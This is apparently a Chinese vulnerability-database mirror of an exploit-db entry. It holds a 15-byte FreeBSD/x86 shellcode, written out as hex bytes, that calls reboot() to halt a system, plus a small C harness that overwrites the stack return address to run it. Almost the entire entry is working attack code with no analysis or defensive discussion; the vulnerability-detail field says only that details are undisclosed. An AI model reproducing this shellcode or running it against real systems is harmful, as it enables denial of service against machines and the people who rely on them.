FreeBSD/x86 - reboot() Shellcode (15 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057192 漏洞类型
发布时间 2009-01-01 更新时间 2009-01-01
CVE编号 N/A CNNVD-ID N/A
漏洞平台 FreeBSD_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/43507
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*

FreeBSD reboot() shellcode

This will halt a system, which takes it offline until someone reboots it.

Written by zillion (at safemode.org

*/

char shellcode[] =
        "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}